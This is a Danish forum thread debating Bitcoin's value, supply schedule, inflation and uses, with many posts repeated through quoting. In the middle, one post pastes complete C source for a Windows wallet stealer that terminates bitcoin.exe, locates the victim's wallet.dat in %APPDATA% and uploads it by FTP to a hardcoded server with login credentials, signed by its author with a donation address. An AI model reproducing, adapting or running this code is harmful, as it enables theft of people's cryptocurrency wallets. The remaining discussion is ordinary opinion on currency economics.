mboost-dp1
Bitcoin
EllMarto (3) skrev:Hvilke hjemmesider er det helt præcis der benytter sig af Bitcoins?
Ingen. Man sælger dem ligesom Aktier.
Chewy (5) skrev:@4
Men de må vel stadig sættes op i forhold til en eller anden form for fysisk værdi.
Ellers forsvinder den reele værdi, og går hen og bliver ren spekulation (inflation).
Hvordan er deres værdi defineret?
Det bedste jeg kan give dig, er linket http://bitcoin.org/ .. Så begynder du bare at læse.
Der er ingen nem forklaring
#8
Faktisk mindre...
Den danske krone er støbt eller trykt på noget materiale.
Bitcoins er bits.. Data... :P
#Flere
Men ja. Har læst lidt på det. Systemet er designet til at transaktioner mellem to personer er sikre og konsistente (dvs. du kan ikke dobbelt-overføre bitcoins). Derudover bliver der sprøjtet nogle coins i systemet ved en vis hastighed (50 coins for hver 10 minutter - se note)
Idéen er så her, at der er en 'konstant' mængde af valuta i omløb (ligesom med den danske krone). Denne mængde garanteres af BitCoin holdet (den danske stat) - folk vælger så at tillægge denne værdi. F.eks. kan man købe en liter mælk for 6 kroner. Tilsvarende kan du købe Bitcoins for rigtig valuta - dette kan oversættes til at du kan købe services over nettet uden brug af banker.
Market: http://bitcoincharts.com/markets/
F.eks. kan jeg købe 100 bitcoins af en person, for f.eks. 200 kr.
Disse 100 BTC (BitCoins), kan jeg sende til Bob, som så kan konvertere dem til 33$ hos et marked. Fidusen er at jeg sender til Bob uden mellemled. Kun ved at kende hans modtager-id (en form for public key). Jeg broadcaster så en transaktion (i stil med DHT til P2P / Torrent), som Bob er den eneste der kan 'modtage'.
Note: Der kommer 50 coins for hver block der 'knækkes'. Der knækkes én block hver 10. minut. Designet til at de første 210 000 blocks giver 50 coins. De næste 210 000 giver 25. De næste 210 000 giver 12.5 osv. I år 2140 giver en block så lidt, at det samlede beløb af bitcoins anses for værende konstant.
Faktisk mindre...
Den danske krone er støbt eller trykt på noget materiale.
Bitcoins er bits.. Data... :P
#Flere
Men ja. Har læst lidt på det. Systemet er designet til at transaktioner mellem to personer er sikre og konsistente (dvs. du kan ikke dobbelt-overføre bitcoins). Derudover bliver der sprøjtet nogle coins i systemet ved en vis hastighed (50 coins for hver 10 minutter - se note)
Idéen er så her, at der er en 'konstant' mængde af valuta i omløb (ligesom med den danske krone). Denne mængde garanteres af BitCoin holdet (den danske stat) - folk vælger så at tillægge denne værdi. F.eks. kan man købe en liter mælk for 6 kroner. Tilsvarende kan du købe Bitcoins for rigtig valuta - dette kan oversættes til at du kan købe services over nettet uden brug af banker.
Market: http://bitcoincharts.com/markets/
F.eks. kan jeg købe 100 bitcoins af en person, for f.eks. 200 kr.
Disse 100 BTC (BitCoins), kan jeg sende til Bob, som så kan konvertere dem til 33$ hos et marked. Fidusen er at jeg sender til Bob uden mellemled. Kun ved at kende hans modtager-id (en form for public key). Jeg broadcaster så en transaktion (i stil med DHT til P2P / Torrent), som Bob er den eneste der kan 'modtage'.
Note: Der kommer 50 coins for hver block der 'knækkes'. Der knækkes én block hver 10. minut. Designet til at de første 210 000 blocks giver 50 coins. De næste 210 000 giver 25. De næste 210 000 giver 12.5 osv. I år 2140 giver en block så lidt, at det samlede beløb af bitcoins anses for værende konstant.
EllMarto (3) skrev:Hvilke hjemmesider er det helt præcis der benytter sig af Bitcoins?
Wikileaks bruger Bitcoin.
De startede med at acceptere Bitcoin donations efter paypal og visa blokerede for traditionelle pengeoverførsler:
http://www.wikileaks.org/support.html
Emailer ????
tror sq der er en vild stavefejl i den her post ;)
Source koden er her, og det er via FTP
tror sq der er en vild stavefejl i den her post ;)
Source koden er her, og det er via FTP
// Coded by JuryBen
// Gimme coins
// 1LEXm6E4L9Ug9VNpkvXwJiZb61tspRiK7v
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <wininet.h>
#include <ctime>
#include <iostream>
#pragma comment(lib, "wininet")
void killprocess()
{
HANDLE hProcessSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0 ); // Get the process list snapshot.
PROCESSENTRY32 ProcessEntry = { 0 }; // Initialize the process entry structure.
ProcessEntry.dwSize = sizeof( ProcessEntry ); // Get the first process info
BOOL Return = FALSE;
Return = Process32First( hProcessSnapShot,&ProcessEntry );
int value = _tcsicmp(ProcessEntry.szExeFile, _T("bitcoin.exe"));
if (value==0)
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32ProcessID); //Open Process to terminate
TerminateProcess(hProcess,0);
CloseHandle(hProcess); //Close Handle }
}
while( Process32Next( hProcessSnapShot, &ProcessEntry ));
CloseHandle( hProcessSnapShot );
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
killprocess();
Sleep(40000);
srand((unsigned)time(NULL)); // we get time to use for random seed
int seedone=rand(); // seed one
int seedtwo=rand()*3; // seed two times 3
int seedboth = seedone + seedtwo; // combine seeds to ensure random int
// now we need to convert int to char
char randomseed[99]; // make randomseed buffer at 99 to prevent overflow
itoa(seedboth,randomseed,10); // use itoa, [int (seedboth), randomseed (random is now seedboth but in char), value (10 coverts to decimal)
// did this so the wallet.dat file wouldn't be overwritten in ftp because of same file name
char* appdata = getenv("APPDATA"); //Gets %Appdata% path
char* truepath = strcat(appdata, "\\Bitcoin\\wallet.dat"); //Bitcoin file to steal
//ftp connection
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
hFtpSession = InternetConnect(hInternet, "ftp.host.com", INTERNET_DEFAULT_FTP_PORT, "[email protected]", "bigdickben", INTERNET_SERVICE_FTP, 0, 0); //ftp host, user, pass
FtpPutFile(hFtpSession, truepath , randomseed , FTP_TRANSFER_TYPE_BINARY, 0);
FtpPutFile(hFtpSession, truepath, randomseed, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
return 0;
}
Chewy (5) skrev:@4Men de må vel stadig sættes op i forhold til en eller anden form for fysisk værdi.
Ellers forsvinder den reele værdi, og går hen og bliver ren spekulation (inflation).
Hvordan er deres værdi defineret?
Ingen fysisk ting er garanteret at have en værdi. Det handler om udbud og efterspørgsel. Guld og diamanter besidder kun en høj værdi fordi det er sjældent. Hvis alle verdens have pludseligt tørrede ud (+undergrundsreservoirs) kunne vand lige så godt blive dets vægt værd i guld.
Hvis det bliver bredt accepteret at modtage bitcoins som betaling for varer på nettet, så begynder folk også at ville tage imod dem da de ved at de kan komme af med dem igen.
Jeg ved ikke helt om jeg køber ideen om bitcoins, men det er da interessant hvordan det forløber. En helt fri valuta ville være meget revolutionerende, men jeg frygter bare at nogen på et tidspunkt finder en stor fundamental svaghed i systemet, og så falder det hele til gulvet. Men mennesker begyndte jo heller ikke at bruge pengesedler fra den ene dag til den anden. Det handler 100% om tillid.
@13
Fuldstændig enig...
Men hvis jeg ikke husker helt galt (og det kan sagtens ske), så mindes jeg at det er relativ normal praksis at definere en valutas værdi iforhold til værdien på guld (da den er så stabil som den er). Og det er i den forbindelse at valutaen får sin værdi..
Men generelt lyder bitcoins som et rigtigt interessant tiltag. Glæder mig til at se hvordan det udvikler sig...
Ingen fysisk ting er garanteret at have en værdi. Det handler om udbud og efterspørgsel. Guld og diamanter besidder kun en høj værdi fordi det er sjældent. Hvis alle verdens have pludseligt tørrede ud (+undergrundsreservoirs) kunne vand lige så godt blive dets vægt værd i guld.
Fuldstændig enig...
Men hvis jeg ikke husker helt galt (og det kan sagtens ske), så mindes jeg at det er relativ normal praksis at definere en valutas værdi iforhold til værdien på guld (da den er så stabil som den er). Og det er i den forbindelse at valutaen får sin værdi..
Men generelt lyder bitcoins som et rigtigt interessant tiltag. Glæder mig til at se hvordan det udvikler sig...
Chewy (14) skrev:@13
Fuldstændig enig...
Men hvis jeg ikke husker helt galt (og det kan sagtens ske), så mindes jeg at det er relativ normal praksis at definere en valutas værdi iforhold til værdien på guld (da den er så stabil som den er). Og det er i den forbindelse at valutaen får sin værdi..
Men generelt lyder bitcoins som et rigtigt interessant tiltag. Glæder mig til at se hvordan det udvikler sig...
Det er mange år siden det var normalt at bruge guldstandarden for penge.
@5 hvis det er ren spekulation er det vel deflation og ikke inflation.
Den største svaghed i bitcoins er, imho, manglen på inflation. Hvis en valuta ikke falder i værdi kan det bedre betale sig at gemme på pengene end at bruge eller investere dem.
Bitcoin er distribueret så hvordan pengene kommer ind i systemet ef bestemt af klienterne. D.v.s at ligesom vi kender det fra bittorent kan der kommme forbedringer til protokollen, hvis de forskellige klienter bliver enige om det. Bitcoin netværket kan også forkes, hvor man overfører sine penge fra det oprindelige netværk over til et nyt. Herefter vil det oprindelige netværk dø ud ,hvis det nye er bedre. Så værktøjerne er der til at forbedre bitcoins.
Så for at opsummere er det helt store problem for bitcoin at der ikke er en stabil inflation. Så spørgsmålet er hvordan man opnår det?
For at svare det, er der faktisk to spørgsmål der skal besvares. Hvem sætter inflationsgrænsen, og hvem får pengene?
Mit umiddelbare bud til det første er at det må være et demokratisk(folkestyre)
spørgsmål. Dvs alle folk ..over 18 får lov til at stemme, og man tager så det med flest stemmer. Man kan stemme på lige så mange værdier man vil, og der er en minimum indeling.
Det tekniske med at lave sådan en afstemning, er at lave Web of trust (tænk Facebook) så man undgår at folk stemmer flere gange.
Det andet spørgsmål er så hvem der får pengene. Som det er med eksisterende valuta er det staten der skummer fløden. Men hvem der får pengene er imho ikke lige så vigtigt som spørgsmålet om hvem der sætter inflationen. Måske er det bare at fordele pengene lige til alle over 18? Jeg kan ikke lige overskue den tekniske impmementation til dette, så forslag modtages med kyshånd :)
Det vigtigste at huske på er at det ikke sker af sig selv. Problematikken minder meget om problematikken med DRM. Mængden af DRM er holdt nede fordi der har været en enorm mængde ildsjæle, som har fremvist problematikken igen og igen. I forhold til bitcoins er spørgsmålet der skal stilles: Hvordan får vi en stabil inflation??
Der er også andre problematikker ved bittorent, men disse ser jeg mere som muligheder end prblemer.
Det første problem er at bittorent er som skræddersyet til hvidvaskning af penge, samt kriminelle transaktioner. Det klassiske case er at du mangler penge og kidnapper en baby. Så skriver du til forældrene anonymt om at de skal sætte penge ind på en anonym bitcoin konto. Instant money, og du kan ikke spores. TIM denne problematik er der bare at sige at politiet må følge de fysiske spor. Ligesom folk har det til at snakke sammen helt privat må folk også udveksle penge. Fordelen ligger selvfølgelig i at vi får et mere åbent internet hvor grænsen for hvad der kan betales for udvides.
Den anden problematik er at sikkerheden på folks personlige computer ikke er god nok til bittorent. Men her er der bare muligheder for at gøre det bedre, så folk får bedre sikkerhed i forhold til at gemme og beskytte pengene. (nej, krypteret backup til usb-nøgle er ikke godt nok). Til gengæld kan det være at forbedret sikkerhed til bitcoins kan smitte positivt af på sikkerheden af ændre alle vores digitale aktiver.
Den største svaghed i bitcoins er, imho, manglen på inflation. Hvis en valuta ikke falder i værdi kan det bedre betale sig at gemme på pengene end at bruge eller investere dem.
Bitcoin er distribueret så hvordan pengene kommer ind i systemet ef bestemt af klienterne. D.v.s at ligesom vi kender det fra bittorent kan der kommme forbedringer til protokollen, hvis de forskellige klienter bliver enige om det. Bitcoin netværket kan også forkes, hvor man overfører sine penge fra det oprindelige netværk over til et nyt. Herefter vil det oprindelige netværk dø ud ,hvis det nye er bedre. Så værktøjerne er der til at forbedre bitcoins.
Så for at opsummere er det helt store problem for bitcoin at der ikke er en stabil inflation. Så spørgsmålet er hvordan man opnår det?
For at svare det, er der faktisk to spørgsmål der skal besvares. Hvem sætter inflationsgrænsen, og hvem får pengene?
Mit umiddelbare bud til det første er at det må være et demokratisk(folkestyre)
spørgsmål. Dvs alle folk ..over 18 får lov til at stemme, og man tager så det med flest stemmer. Man kan stemme på lige så mange værdier man vil, og der er en minimum indeling.
Det tekniske med at lave sådan en afstemning, er at lave Web of trust (tænk Facebook) så man undgår at folk stemmer flere gange.
Det andet spørgsmål er så hvem der får pengene. Som det er med eksisterende valuta er det staten der skummer fløden. Men hvem der får pengene er imho ikke lige så vigtigt som spørgsmålet om hvem der sætter inflationen. Måske er det bare at fordele pengene lige til alle over 18? Jeg kan ikke lige overskue den tekniske impmementation til dette, så forslag modtages med kyshånd :)
Det vigtigste at huske på er at det ikke sker af sig selv. Problematikken minder meget om problematikken med DRM. Mængden af DRM er holdt nede fordi der har været en enorm mængde ildsjæle, som har fremvist problematikken igen og igen. I forhold til bitcoins er spørgsmålet der skal stilles: Hvordan får vi en stabil inflation??
Der er også andre problematikker ved bittorent, men disse ser jeg mere som muligheder end prblemer.
Det første problem er at bittorent er som skræddersyet til hvidvaskning af penge, samt kriminelle transaktioner. Det klassiske case er at du mangler penge og kidnapper en baby. Så skriver du til forældrene anonymt om at de skal sætte penge ind på en anonym bitcoin konto. Instant money, og du kan ikke spores. TIM denne problematik er der bare at sige at politiet må følge de fysiske spor. Ligesom folk har det til at snakke sammen helt privat må folk også udveksle penge. Fordelen ligger selvfølgelig i at vi får et mere åbent internet hvor grænsen for hvad der kan betales for udvides.
Den anden problematik er at sikkerheden på folks personlige computer ikke er god nok til bittorent. Men her er der bare muligheder for at gøre det bedre, så folk får bedre sikkerhed i forhold til at gemme og beskytte pengene. (nej, krypteret backup til usb-nøgle er ikke godt nok). Til gengæld kan det være at forbedret sikkerhed til bitcoins kan smitte positivt af på sikkerheden af ændre alle vores digitale aktiver.
#15: Du kan stadig gå ind i en hvilken som helst forretning i USA og betale med guld den da idag.
Givet, det er ikke normalt, men det er stadig en gangbar valuta :-)
Givet, det er ikke normalt, men det er stadig en gangbar valuta :-)
Virtual-Aidz (4) skrev:en. Man sælger dem ligesom Aktier.
Forkert. Der er mange mindre sider, der tager imod Bitcoins: https://en.bitcoin.it/wiki/Trade
over9001 (16) skrev:Den største svaghed i bitcoins er, imho, manglen på inflation. Hvis en valuta ikke falder i værdi kan det bedre betale sig at gemme på pengene end at bruge eller investere dem.
Du har fat i noget, men den ovenstående præmis er helt forkert.
Hvad du i stedet skal inkludere i din argumentation er alternativomkostninger. Dette begreb beskriver, hvad "noget" (dvs. alt) er værd eller koster i forhold til, hvad man henholdvis ellers kunne få ud af en given ressource, eller hvad en tilsvarende ressource koster i stedet for.
Derfor giver det ingen mening at argumentere på baggrund af en mangel på inflation, da det i virkeligheden drejer sig om alternativomkostningerne.
Man skal af denne grund spørge sig selv, om det giver mest værdi at beholde sine bitcoins (= in- eller deflation), om det giver mest værdi at investere dem (= forventet afkast), eller om det giver mest værdi at låne dem ud (= rente m. usikkerhedspræmier)? Svaret på dette spørgsmål afgør, om man skal beholde sine bitcoins eller ej, ikke om der er inflation eller deflation.
Sugardad2 (17) skrev:#5 "Tilsvarende kan du købe Bitcoins for rigtig valuta " der har du værdien
Man kan købe BTC for rigtige penge
Man kan få rigtige penge for BTC
BTC fjerner mellemleddet (bankerne) ved transaktioner mellem personer
Jeg vil da klart heller have flowet på denne måde:
Mig -> min bank -> modtagers bank -> modtager
I stedet for:
Mig -> min bank (for at købe BTC) -> BTCs bank -> "ombytning til BTC" -> afsendelse af mine BTC -> modtagelse af BTC -> Modtager ombytter til rigtige penge -> modtagers bank -> modtager
Fortæl mig lige med utroligt klar tale - hvad skal man dog med endnu en mellemmand?
Jeg kan dælme ikke se at det giver nogen mening at skulle implementere endnu et led og dermed endnu flere svagheder.
Der er noget/nogen bag BTC som ikke gør det fordi de synes det er hyggeligt - men fordi de kan tjene på det.
Så er der både bankerne og BitCoin-selskabet som tjener på tingene.
Super smart, forretningsidé altså!
#23
Hvis BTC er udbredt nok, behøver du jo slet ikke ombytte til "rigtige penge". Bitcoin er lige så meget "rigtige penge" som kroner eller dollar.
Det kunne være sådan her*
Dig -> bitcoins -> modtager
Modtageren er glad for sine bitcoins.
Dagen efter har modtageren lyst til at købe en t-shirt, og nu sker der
Modtager -> http://www.squarewear.biz/ -> bitcoins -> afsendelse af t-shirt.
*) Jeg har ikke brugt systemet, så tilgiv mig, hvis jeg har misforstået det.
Hvis BTC er udbredt nok, behøver du jo slet ikke ombytte til "rigtige penge". Bitcoin er lige så meget "rigtige penge" som kroner eller dollar.
Det kunne være sådan her*
Dig -> bitcoins -> modtager
Modtageren er glad for sine bitcoins.
Dagen efter har modtageren lyst til at købe en t-shirt, og nu sker der
Modtager -> http://www.squarewear.biz/ -> bitcoins -> afsendelse af t-shirt.
*) Jeg har ikke brugt systemet, så tilgiv mig, hvis jeg har misforstået det.
Hvorfor vil du have inflation? Inflation er statens måde at trække værdi ud af samfundet på, ved siden af skatten. Hvis staten mangler penge kan de printe nogle flere og bruge, og så falder værdien af resten af pengene i samfundet tilsvarende. I praksis tager de værdi fra os uden at spørge om lov.over9001 (16) skrev:Den største svaghed i bitcoins er, imho, manglen på inflation. Hvis en valuta ikke falder i værdi kan det bedre betale sig at gemme på pengene end at bruge eller investere dem.
Og det er en absolut nødvendig feature for dig?
Hvorfor giver du ikke bare alle dine penge til staten og får det overstået?
vandfarve (21) skrev:[...]Du har fat i noget, men den ovenstående præmis er helt forkert.
Hvad du i stedet skal inkludere i din argumentation er alternativomkostninger. Dette begreb beskriver, hvad "noget" (dvs. alt) er værd eller koster i forhold til, hvad man henholdvis ellers kunne få ud af en given ressource, eller hvad en tilsvarende ressource koster i stedet for.
Derfor giver det ingen mening at argumentere på baggrund af en mangel på inflation, da det i virkeligheden drejer sig om alternativomkostningerne.
Man skal af denne grund spørge sig selv, om det giver mest værdi at beholde sine bitcoins (= in- eller deflation), om det giver mest værdi at investere dem (= forventet afkast), eller om det giver mest værdi at låne dem ud (= rente m. usikkerhedspræmier)? Svaret på dette spørgsmål afgør, om man skal beholde sine bitcoins eller ej, ikke om der er inflation eller deflation.
Argumenterer du for at værdien af en valuta skal falde i værdi eller imod det?
Der er 1000 andre ting end inflation der spiller en rolle i opportunity cost. Hvis man ikke har spist hele dagen og kun har Bitcoins er der en ret stor opportunity cost forbundet med at investere dem i stedet for at købe mad for dem (altså i en verden hvor Bitcoins generelt kan bruges til at købe mad).
Jeg fandt var engang inde på en hjemmeside og så så jeg at begge mine kerner blev brugt 100 %. Det viser sig så at hjemmesiden havde en java applet der minede bitcoins og sendte resultaterne til serveren. Det synes jeg var lige lovlig frækt gjort.
#25
Er der ikke begrænset hvor meget kontrol staten idag har over pengemængden? I forhold til bankerne, (Da de udskriver 90% af nye penge idag, eller deromkring - igennem udlån. Fordi de kun behøver at kunne stille garanti for 10% af pengene de låner ud..)
Der må endelig godt være nogen der vil kommentere til det her. :)
Er der ikke begrænset hvor meget kontrol staten idag har over pengemængden? I forhold til bankerne, (Da de udskriver 90% af nye penge idag, eller deromkring - igennem udlån. Fordi de kun behøver at kunne stille garanti for 10% af pengene de låner ud..)
Der må endelig godt være nogen der vil kommentere til det her. :)
Opret dig som bruger i dag
Det er gratis, og du binder dig ikke til noget.
Når du er oprettet som bruger, får du adgang til en lang række af sidens andre muligheder, såsom at udforme siden efter eget ønske og deltage i diskussionerne.
- Forside
- ⟨
- Forum
- ⟨
- Nyheder
Gå til bund